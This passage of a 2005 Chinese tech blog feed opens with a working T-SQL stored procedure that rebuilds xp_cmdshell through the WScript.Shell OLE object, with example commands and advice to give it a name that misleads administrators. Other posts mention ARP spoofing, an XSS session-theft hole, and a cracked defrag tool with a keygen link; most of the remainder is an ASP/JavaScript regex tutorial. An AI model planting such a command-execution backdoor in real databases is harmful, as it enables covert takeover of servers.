<IMG src="/images/OutliningIndicators/InBlock.gif" align=top>Purpose: Make your own xp_cmdshell stored procedure via OLE object
<IMG src="/images/OutliningIndicators/ExpandedBlockEnd.gif" align=top></SPAN><SPAN style="COLOR: #008080">*/</SPAN></SPAN><SPAN style="COLOR: #000000">
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">CREATE</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">PROCEDURE</SPAN><SPAN style="COLOR: #000000"> dbo.sp_myxpcmdshell(@cmd </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">varchar</SPAN><SPAN style="COLOR: #000000">(</SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">255</SPAN><SPAN style="COLOR: #000000">), @Wait </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">int</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #808080">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">0</SPAN><SPAN style="COLOR: #000000">) </SPAN><SPAN style="COLOR: #0000ff">AS</SPAN><SPAN style="COLOR: #000000">
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008080">--</SPAN><SPAN style="COLOR: #008080">Create WScript.Shell object</SPAN><SPAN style="COLOR: #008080">
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">DECLARE</SPAN><SPAN style="COLOR: #000000"> @result </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">int</SPAN><SPAN style="COLOR: #000000">, @OLEResult </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">int</SPAN><SPAN style="COLOR: #000000">, @RunResult </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">int</SPAN><SPAN style="COLOR: #000000">
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">DECLARE</SPAN><SPAN style="COLOR: #000000"> @ShellID </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">int</SPAN><SPAN style="COLOR: #000000">
<IMG src="/images/OutliningIndicators/None.gif" align=top>
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">EXECUTE</SPAN><SPAN style="COLOR: #000000"> @OLEResult </SPAN><SPAN style="COLOR: #808080">=</SPAN><SPAN style="COLOR: #000000"> sp_OACreate </SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">WScript.Shell</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000">, @ShellID OUT
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">IF</SPAN><SPAN style="COLOR: #000000"> @OLEResult </SPAN><SPAN style="COLOR: #808080">&lt;&gt;</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">0</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">SELECT</SPAN><SPAN style="COLOR: #000000"> @result </SPAN><SPAN style="COLOR: #808080">=</SPAN><SPAN style="COLOR: #000000"> @OLEResult
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">IF</SPAN><SPAN style="COLOR: #000000"> @OLEResult </SPAN><SPAN style="COLOR: #808080">&lt;&gt;</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">0</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">RAISERROR</SPAN><SPAN style="COLOR: #000000"> (</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">CreateObject %0X</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000">, </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">14</SPAN><SPAN style="COLOR: #000000">, </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">1</SPAN><SPAN style="COLOR: #000000">, @OLEResult)
<IMG src="/images/OutliningIndicators/None.gif" align=top>
<IMG src="/images/OutliningIndicators/None.gif" align=top>
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">EXECUTE</SPAN><SPAN style="COLOR: #000000"> @OLEResult </SPAN><SPAN style="COLOR: #808080">=</SPAN><SPAN style="COLOR: #000000"> sp_OAMethod @ShellID, </SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">Run</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000">, </SPAN><SPAN style="COLOR: #0000ff">Null</SPAN><SPAN style="COLOR: #000000">, @cmd, </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">0</SPAN><SPAN style="COLOR: #000000">, @Wait
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">IF</SPAN><SPAN style="COLOR: #000000"> @OLEResult </SPAN><SPAN style="COLOR: #808080">&lt;&gt;</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">0</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">SELECT</SPAN><SPAN style="COLOR: #000000"> @result </SPAN><SPAN style="COLOR: #808080">=</SPAN><SPAN style="COLOR: #000000"> @OLEResult
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">IF</SPAN><SPAN style="COLOR: #000000"> @OLEResult </SPAN><SPAN style="COLOR: #808080">&lt;&gt;</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">0</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">RAISERROR</SPAN><SPAN style="COLOR: #000000"> (</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">Run %0X</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000">, </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">14</SPAN><SPAN style="COLOR: #000000">, </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">1</SPAN><SPAN style="COLOR: #000000">, @OLEResult)
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008080">--</SPAN><SPAN style="COLOR: #008080">If @OLEResult &lt;&gt; 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult </SPAN><SPAN style="COLOR: #008080">
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">
<IMG src="/images/OutliningIndicators/None.gif" align=top>
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">EXECUTE</SPAN><SPAN style="COLOR: #000000"> @OLEResult </SPAN><SPAN style="COLOR: #808080">=</SPAN><SPAN style="COLOR: #000000"> sp_OADestroy @ShellID
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008080">--</SPAN><SPAN style="COLOR: #008080">destory object</SPAN><SPAN style="COLOR: #008080">
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000"> @result</SPAN></DIV></PRE>
<P>当然里面的dbo.myxpcmdshell可以改成别的，改一个比较迷惑管理员的 。<IMG src="/emoticons/emotion-2.gif" border=0></P>
<P></P>
<P>3)命令执行<BR>&nbsp;在查询分析器里执行下面代码<BR>&nbsp;exec sp_myxpcmdshell "your command"<BR>&nbsp;example:&nbsp; exec sp_myxpcmdshell "cmd.exe /c net start&gt;c:\services.txt"<BR>&nbsp;用osql.exe<BR>&nbsp;osql.exe -S Server/Ipaddress -U username -P password -i mycommand.sql&nbsp;&nbsp; (mycommand.sql是你要执行的sql文件)<BR>&nbsp;当然也可以在asp里执行，这里不赘叙。</P>
<P>4)缺点<BR>&nbsp;没有回显，这是个比较郁闷的问题。<IMG src="/emoticons/emotion-20.gif" border=0></P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=190" width="1" height="1">]]></description></item><item><title>网站首页head区代码规范</title><link>http://qihang.net/u/phenge/Blog/archive/2005/05/26/181.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Thu, 26 May 2005 00:29:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:181</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=181</comments><slash:comments>1</slash:comments><description><![CDATA[<!--StartFragment -->&nbsp;head区是指首页HTML代码的&lt;head&gt;和&lt;/head&gt;之间的内容。 <BR>必须加入的标签 <BR><BR>1.公司版权注释 <BR>&lt;!--- The site is designed by Maketown,Inc 06/2000 ---&gt; <BR><BR>2.网页显示字符集 <BR>简体中文：&lt;META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312"&gt; <BR>繁体中文：&lt;META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=BIG5"&gt; <BR>英 语：&lt;META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"&gt; <BR><BR>3.网页制作者信息 <BR>&lt;META name="author" content="webmaster@maketown.com"&gt; <BR><BR>4.网站简介 <BR>&lt;META NAME="DEs criptION" CONTENT="xxxxxxxxxxxxxxxxxxxxxxxxxx"&gt; <BR><BR>5.搜索关键字 <BR>&lt;META NAME="keywords" CONTENT="xxxx,xxxx,xxx,xxxxx,xxxx,"&gt; <BR><BR>6.网页的css规范 <BR>&lt;LINK href="style/style.css" rel="stylesheet" type="text/css"&gt; <BR>(参见目录及命名规范) <BR><BR>7.网页标题 <BR>&lt;title&gt;xxxxxxxxxxxxxxxxxx&lt;/title&gt; <BR><BR>.可以选择加入的标签 <BR><BR>1.设定网页的到期时间。一旦网页过期，必须到服务器上重新调阅。 <BR>&lt;META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT"&gt; <BR><BR>2.禁止浏览器从本地机的缓存中调阅页面内容。 <BR>&lt;META HTTP-EQUIV="Pragma" CONTENT="no-cache"&gt; <BR><BR>3.用来防止别人在框架里调用你的页面。 <BR>&lt;META HTTP-EQUIV="Window-target" CONTENT="_top"&gt; <BR><BR>4.自动跳转。 <BR>&lt;META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.yahoo.com"&gt; <BR>5指时间停留5秒。 <BR><BR>5.网页搜索机器人向导.用来告诉搜索机器人哪些页面需要索引，哪些页面不需要索引。 <BR>&lt;META NAME="robots" CONTENT="none"&gt; <BR>CONTENT的参数有all,none,index,noindex,follow,nofollow。默认是all。 <BR><BR>6.收藏夹图标 <BR>&lt;link rel = "Shortcut Icon" href="favicon.ico"&gt; <BR><BR>所有的javas cript的调用尽量采取外部调用. <BR>&lt;s cript LANGUAGE="Javas cript" SRC="s cript/xxxxx.js"&gt;&lt;/s cript&gt; <BR><BR>附&lt;body&gt;标签： <BR>&lt;body&gt;标签不属于head区，这里强调一下，为了保证浏览器的兼容性，必须设置页面背景&lt;body bgcolor="#FFFFFF"&gt; <img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=181" width="1" height="1">]]></description></item><item><title>ARP欺骗</title><link>http://qihang.net/u/phenge/Blog/archive/2005/05/24/164.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Tue, 24 May 2005 00:58:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:164</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=164</comments><slash:comments>0</slash:comments><description><![CDATA[最近在局域网玩了一把ARP欺骗，<IMG src="/emoticons/emotion-4.gif" border=0>，用的是别人写的现成工具，觉的不是很爽，总达不到自己的要求，或者能达到却很麻烦，改天有时间自己写一个。不过发现了一个学习协议的好站。<A class="" title="" href="http://www.cnpaf.net/" target=_blank>中国协议分析网</A><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=164" width="1" height="1">]]></description></item><item><title>SQL Server 2000 Transact-SQL 参考+电子书</title><link>http://qihang.net/u/phenge/Blog/archive/2005/05/24/163.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Tue, 24 May 2005 00:48:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:163</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=163</comments><slash:comments>0</slash:comments><description><![CDATA[<P>网上链接：<A href="http://www.588188.com/netbook/sqlserver2000/tsqlref/">http://www.588188.com/netbook/sqlserver2000/tsqlref/</A></P>
<P><A class="" title="" href="http://www.neeao.com/soft/tsqlref.rar" target="_blank">电子书下载</A></P>
<P>看了下，发觉自己会的很少啊。<IMG src="/emoticons/emotion-9.gif" border=0></P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=163" width="1" height="1">]]></description></item><item><title>世界上最好的磁盘碎片整理工具</title><link>http://qihang.net/u/phenge/Blog/archive/2005/05/19/155.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Thu, 19 May 2005 09:04:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:155</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=155</comments><slash:comments>1</slash:comments><description><![CDATA[<P>&nbsp;<SPAN id=zoom>最新版，而且带完全汉化和注册机！！<BR>用过所有现在流行的磁盘碎片整理工具…………用下来这款是最好的！而且效率很高。<BR>整理完毕以后重启电脑后程序打开或者文件打开比新装系统还要快！！！<BR>O&amp;O Defrag 是一款专为 NT/2000/XP 开发的磁盘工具，可以选择不占用系统任何资源模式进行磁盘碎片整理。这样，玩游戏，看电影，工作时同时进行碎片整理就成为了现实拉。。<BR>可以适用于工作站、服务器和高级服务器等各种版本，支持几乎所有的文件系统，包含 FAT16、FAT32、NTFS、NTFS5、FS(Encrypted File System) 等，是一款不可多得的好工具。可设定时间自动重整硬盘，支持中文长文件名及需先安装 Windows NT Service Pack 4或是Windows 2000。软件对硬件环境要求并不高，486 的机器、最少 16MB 内存、VGA 显示卡，这样的配置我想是很容易满足吧。Defrag 只能执行在 Win NT/2000/XP 下，在Win 98/95下安装时会提示错误讯息：unsupported operating system。因为 Win NT/2000 是多使用者的操作系统，所以在安装软件前，必须确认有在操作系统上安装软件的权限。<BR>据研发公司表示&amp;O Defrag 是个最佳化NT 4/2000/XP 专业版、伺服器版等平台的磁碟重组工具。它可加装在微软的Management Console中，成为Windows 2000的一个标准磁碟重组软体。可以强化磁碟空间重组的能力，并将空间最佳化。磁区可以以「faded」模式标示起来，可以以任何深色系统的颜色表示此磁区目前是否有资料。使用磁碟检查可以检视目前的档案是否正常。</SPAN> </P>
<P><IMG alt="" hspace=0 src="http://www.hoky.org/blog/attachments/month_200501/06_104719_roguzhengli.jpg" align=baseline border=0></P>
<P><!--StartFragment -->&nbsp;<SPAN id=zoom><A href="http://www.oo-software.com/files/oodefragv65/oodpe_6_5_851_enu.exe" target=_blank><FONT color=#ff0000>原版下载</FONT></A></SPAN> </P>
<P><!--StartFragment -->&nbsp;<SPAN id=zoom><A href="http://ibbs.tjeip.com/images/upload/2004/08/14/203710.rar" target=_blank><FONT color=#0000ff>注册机和汉化补丁</FONT></A></SPAN> </P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=155" width="1" height="1">]]></description></item><item><title>ChinaRen校友录存在CSS隐患</title><link>http://qihang.net/u/phenge/Blog/archive/2005/05/19/154.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Thu, 19 May 2005 05:21:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:154</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=154</comments><slash:comments>0</slash:comments><description><![CDATA[<P>去年10月份申请了ChinaRen校友录的VIP，发现可以发flash和图片，顺手测试了一下CSS(跨站攻击)，发现可以获得浏览者的Cookie(我觉得说是Session更贴切)，并且可以借此以浏览者的帐号登陆、发留言。<IMG src="/emoticons/emotion-2.gif" border=0>&nbsp; 但是此"Cookie"有生存时间，一个小时，是不是太短了点呢？<IMG src="/emoticons/emotion-5.gif" border=0>，其实可以做个实时监控的东东，只要有人浏览获得"Cookie"，就通知我们，一个小时也足够捣乱了，是不是？<IMG src="/emoticons/emotion-15.gif" border=0><IMG src="/emoticons/emotion-2.gif" border=0></P>
<P>获得浏览者的"Cookie"的具体细节就不用我说了吧！(网上这方面的资料多的是) <IMG src="/emoticons/emotion-2.gif" border=0><IMG src="/emoticons/emotion-2.gif" border=0></P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=154" width="1" height="1">]]></description></item><item><title>asp中的正则表达式</title><link>http://qihang.net/u/phenge/Blog/archive/2005/05/19/152.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Thu, 19 May 2005 03:49:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:152</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=152</comments><slash:comments>1</slash:comments><description><![CDATA[<P><IMG src="/emoticons/emotion-2.gif" border=0>&nbsp; 最近用asp里的RegExp，找到一篇还算可以的资料。</P>
<P>RegExp是提供简单的正则表达式支持功能。</P>
<P>下面的代码说明了RegExp对象的用法：</P>
<P>Function RegExpTest(patrn, strng)<BR>&nbsp;&nbsp; Dim regEx, Match, Matches&nbsp;&nbsp; ' 建立变量。<BR>&nbsp;&nbsp; Set regEx = New RegExp&nbsp;&nbsp; ' 建立正则表达式。<BR>&nbsp;&nbsp; regEx.Pattern = patrn&nbsp;&nbsp; ' 设置模式。<BR>&nbsp;&nbsp; regEx.IgnoreCase = True&nbsp;&nbsp; ' 设置是否区分字符大小写。<BR>&nbsp;&nbsp; regEx.Global = True&nbsp;&nbsp; ' 设置全局可用性。<BR>&nbsp;&nbsp; Set Matches = regEx.Execute(strng)&nbsp;&nbsp; ' 执行搜索。<BR>&nbsp;&nbsp; For Each Match in Matches&nbsp;&nbsp; ' 遍历匹配集合。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RetStr = RetStr &amp; "Match found at position "<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RetStr = RetStr &amp; Match.FirstIndex &amp; ". Match Value is '"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RetStr = RetStr &amp; Match.Value &amp; "'." &amp; vbCRLF<BR>&nbsp;&nbsp; Next<BR>&nbsp;&nbsp; RegExpTest = RetStr<BR>End Function<BR>MsgBox(RegExpTest("is.", "IS1 is2 IS3 is4"))</P>
<P>&nbsp;</P>
<P>正规则表达式用 RegExp 的 test 和 exec 方法以及 String 的 match、replace、search 和 split 方法进行工作，这些方法将在 中进行祥述。</P>
<P>方法&nbsp; 描　　　　述&nbsp; <BR>exec&nbsp; 在字符串中执行搜索一个匹配的 RegExp 方法，它返回查找结果的数组&nbsp; <BR>test&nbsp; 在字符串中测试一个匹配的 RegExp 方法，返回 true 或 false&nbsp; <BR>match&nbsp; 在字符串中执行搜索一个匹配的 String 方法，返回一个信息的数组或错配后返回一个 null&nbsp; <BR>search&nbsp; 在字符串中测试一个匹配的String 方法，返回匹配的索引，或错配后返回 -1&nbsp; <BR>replace&nbsp; 在字符串中执行搜索一个匹配的 String 方法，并用另一个替换的该匹配的子串&nbsp; <BR>split&nbsp; 一个 String 方法，用规则表达式或一个固定字符串分离为子串的数组&nbsp; </P>
<P>下例中用 exec 方法在一个字符串中搜索一个匹配：</P>
<P>&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt;<BR>　myRe=/d(b+)d/g;<BR>　myArray = myRe.exec("cdbbdbsbz");<BR>&lt;/SCRIPT&gt;</P>
<P>如果您不需要访问规则表达式的属性，可以用下面的方法来代替：</P>
<P>&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt;<BR>　myArray = /d(b+)d/g.exec("cdbbdbsbz");<BR>&lt;SCRIPT&gt; </P>
<P>如果您希望能重编译规则表达式，也可以用下面的方法替换： </P>
<P>&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt;<BR>　myRe= new RegExp ("d(b+)d", "g:);<BR>　myArray = myRe.exec("cdbbdbsbz");<BR>&lt;SCRIPT&gt;</P>
<P>上面的脚本成功进行了匹配，并返回数组和更新了下表中的属性：</P>
<P>对象&nbsp; 属性或索引&nbsp; 描　　述&nbsp; 本例&nbsp; <BR>myArray&nbsp; 　&nbsp; 匹配的字符串并存储子串&nbsp; ["dbbd", "bb"]&nbsp; <BR>index&nbsp; 从零开始的字符串匹配索引&nbsp; 1&nbsp; <BR>input&nbsp; 原始字符串&nbsp; "cdbbdbsbz"&nbsp; <BR>[0]&nbsp; 最后匹配字符&nbsp; "dbbd"&nbsp; <BR>myRe&nbsp; lastIndex&nbsp; 开始下一个匹配的索引 （该属性仅在用 g 选项时有效，请参见通用搜索章节）&nbsp; 5&nbsp; <BR>source&nbsp; 模型的文本&nbsp; "d(b+)d"&nbsp; <BR>RegExp&nbsp; lastMatch&nbsp; 最后匹配字符&nbsp; "dbbd"&nbsp; <BR>leftContext&nbsp; 匹配前最首个子串&nbsp; "c"&nbsp; <BR>rightContext&nbsp; 匹配后的首个子串&nbsp; "bsbz"&nbsp; </P>
<P>RegExp.leftContext 和 RegExp.rightContext 可以用另外的值计算，RegExp.leftContext 等同于：</P>
<P>myArray.input.substring(0, myArray.index)</P>
<P>RegExp.rightContext 等同于：</P>
<P>myArray.input.substring(myArray.index + myArray[0].length)</P>
<P>正如第二个例子，您可以不用给变量赋值的对象初始化程序创建一个规则表达式，但这样您将不能访问规则表达式的属性，如下：</P>
<P>&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt;<BR>　myRe=/d(b+)d/g;<BR>　myArray = myRe.exec("cdbbdbsbz");<BR>　document.writeln("The value of lastIndex is" + myRe.lastIndex);<BR>&lt;/SCRIPT&gt; </P>
<P>该脚本显示：lastIndex 的值为 5，但如果您用下面的脚本：</P>
<P>&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt;<BR>　myArray = /d(b+)d/g.exec("cdbbdbsbz");<BR>　document.writeln("The value of lastIndex is " + /d(b+)d/g.lastIndex);<BR>&lt;/SCRIPT&gt;</P>
<P>lastIndex 显示的值为 0。</P>
<P>这两个语句中的 /d(b+)d/g 是两个不同的规则表达式，因此有不同的 lastIndex 属性值。</P>
<P>圆括号在子串匹配的作用<BR>　　在一个规则表达式中使用圆括号将使会存储对应的子串，如：/a(b)c/ 匹配字符 'abc' 并存储 'b'，您可以用 RegExp 属性 $1, ..., $9 或数组元素 [1], ..., [n] 来调用它，请看下面的例子：</P>
<P>例一：</P>
<P>&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt;<BR>　re = /(\w+)\s(\w+)/;<BR>　str = "John Smith";<BR>　newstr = str.replace(re, "$2, $1");<BR>　document.write(newstr)<BR>&lt;/SCRIPT &gt;</P>
<P>它将显示 "Smith, John"。 </P>
<P>例二：</P>
<P>&lt;HTML&gt;<BR>&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt;<BR>function getInfo(){<BR>　re = /(\w+)\s(\d+)/<BR>re.exec();<BR>window.alert(RegExp.$1 + ", your age is " + RegExp.$2);<BR>}<BR>&lt;/SCRIPT&gt;<BR>Enter your first name and your age, and then press Enter. <BR>&lt;FORM&gt;<BR>&lt;INPUT TYPE="text" NAME="NameAge" onChange="getInfo(this);"&gt;<BR>&lt;/FORM&gt;<BR>&lt;/HTML&gt;</P>
<P>上例中，RegExp.input 由 Change 事件所设置，在 getInfo 函数中，exec 方法用 RegExp.input 值作为它的参数。</P>
<P>例三：</P>
<P>&lt;HTML&gt;<BR>&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt;<BR>function getInfo(){<BR>a = /(\w+)\s(\d+)/();<BR>window.alert(a[1] + ", your age is " + a[2]);<BR>}<BR>&lt;/SCRIPT&gt;<BR>Enter your first name and your age, and then press Enter. <BR>&lt;FORM&gt;<BR>&lt;INPUT TYPE="text" NAME="NameAge" onChange="getInfo(this);"&gt;<BR>&lt;/FORM&gt;<BR>&lt;/HTML&gt;</P>
<P>例三同例二结果完全相同。</P>
<P>通配搜索和忽略大小写<BR>　　规则表达式有两个选项标记，以允许通配和忽略大小进行搜索。进行通配用 g 标记，忽略大小写搜索用 i 标记，如下：</P>
<P>&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt;<BR>re = /\w+\s/g; <BR>　str = "fee fi fo fum";<BR>myArray = str.match(re);<BR>document.write(myArray);<BR>&lt;/SCRIPT&gt;</P>
<P>它将显示 ["fee ", "fi ", "fo "]。</P>
<P>&nbsp;</P>
<P>&nbsp;属性<BR>Global 属性 | IgnoreCase 属性 | Pattern 属性</P>
<P>方法<BR>Execute 方法 | Replace 方法 | Test 方法</P>
<P>======================<BR>Global 属性<BR>设置或返回一个 Boolean 值，该值指明在整个搜索字符串时模式是全部匹配还是只匹配第一个。</P>
<P>object.Global [= True | False ]</P>
<P>对象 参数总是 RegExp 对象。如果搜索应用于整个字符串，Global 属性的值为 True，否则其值为 False。默认的设置为 False。</P>
<P>说明<BR>下面的代码说明了 Global 属性的用法（改变赋予 Global 属性的值并观察其效果）： </P>
<P>Function RegExpTest(patrn, strng)<BR>Dim regEx ,match,matches ' 建立变量。<BR>Set regEx = New RegExp ' 建立规范表达式。<BR>regEx.Pattern = patrn ' 设置模式。<BR>regEx.IgnoreCase = True ' 设置是否区分字母的大小写。<BR>regEx.Global = True ' 设置全程性质。<BR>set matches= regEx.Execute(strng) ' 执行搜索。<BR>for each match in matches ' 重复匹配集合<BR>RetStr=RetStr &amp;"Match found at position "<BR>RetStr=RetStr&amp;Match.FirstIndex&amp;".Match Value is '"<BR>RetStr=RetStr&amp;Match.Value&amp;"'."&amp;vbCRLF Next<BR>RegExpTest=RetStr<BR>End Function</P>
<P>MsgBox(RegExpTest("is.", "IS1 is2 IS3 is4"))</P>
<P>==========================================</P>
<P>IgnoreCase 属性<BR>设置或返回一个Boolean值，指明模式搜索是否区分大小写。</P>
<P>object.IgnoreCase [= True | False ]</P>
<P>Object 参数总是一个 RegExp 对象。如果搜索是区分大小写的，则 IgnoreCase 属性为 False；否则为 True。缺省值为 False。</P>
<P>说明<BR>下面的代码说明了 IgnoreCase 属性的用法（改变赋予 IgnoreCase 属性的值以观察其效果)： </P>
<P>Function RegExpTest(patrn, strng)<BR>Dim regEx,Match,Matches ' 建立变量。<BR>Set regEx = New RegExp ' 建立正则表达式。<BR>regEx.Pattern = patrn ' 设置模式。<BR>regEx.IgnoreCase = True ' 设置不区分大小写。<BR>regEx.Global=True ' 设置全局可用性<BR>set matches=regExExecute(string ) ' 执行搜索。<BR>for each match in matches ' 重复匹配集合<BR>RetStr=RetStr &amp;"Match found at position "<BR>RetStr=RetStr&amp;Match.FirstIndex&amp;".Match Value is '"<BR>RetStr=RetStr&amp;Match.Value&amp;"'."&amp;vbCRLF <BR>Next<BR>RegExpTest=RetStr<BR>End Function<BR>MsgBox(RegExpTest("is.", "IS1 is2 IS3 is4"))</P>
<P>====================================================================</P>
<P>Pattern 属性<BR>设置或返回被搜索的正则表达式模式。 </P>
<P>object.Pattern [= "searchstring"]</P>
<P>参数<BR>object</P>
<P>必选项。总是一个 RegExp 对象变量。</P>
<P>searchstring</P>
<P>可选项的。被搜索的正则字符串表达式。它可能包含设置部分表格中的各种正则表达式字符。</P>
<P>设置<BR>在书写正则表达式的模式时使用了特殊的字符和序列。下表描述了可以使用的字符和序列，并给出了实例。</P>
<P>字符 描述 <BR>\ 将下一个字符标记为特殊字符或字面值。例如"n"与字符"n"匹配。"\n"与换行符匹配。序列"\\"与"\"匹配，"\("与"("匹配。 <BR>^ 匹配输入的开始位置。 <BR>$ 匹配输入的结尾。 <BR>* 匹配前一个字符零次或几次。例如，"zo*"可以匹配"z"、"zoo"。 <BR>+ 匹配前一个字符一次或多次。例如，"zo+"可以匹配"zoo",但不匹配"z"。 <BR>? 匹配前一个字符零次或一次。例如，"a?ve?"可以匹配"never"中的"ve"。 <BR>. 匹配换行符以外的任何字符。 <BR>(pattern) 与模式匹配并记住匹配。匹配的子字符串可以从作为结果的 Matches 集合中使用 Item [0]...[n]取得。如果要匹配括号字符(和 )，可使用"\(" 或 "\)"。 <BR>x|y 匹配 x 或 y。例如 "z|food" 可匹配 "z" 或 "food"。"(z|f)oo" 匹配 "zoo" 或 "food"。 <BR>{n} n 为非负的整数。匹配恰好n次。例如，"o{2}" 不能与 "Bob 中的 "o" 匹配，但是可以与"foooood"中的前两个o匹配。 <BR>{n,} n 为非负的整数。匹配至少n次。例如，"o{2,}"不匹配"Bob"中的"o"，但是匹配"foooood"中所有的o。"o{1,}"等价于"o+"。"o{0,}"等价于"o*"。 <BR>{n,m} m 和 n 为非负的整数。匹配至少 n 次，至多 m 次。例如，"o{1,3}" 匹配 "fooooood"中前三个o。"o{0,1}"等价于"o?"。 <BR>[xyz] 一个字符集。与括号中字符的其中之一匹配。例如，"[abc]" 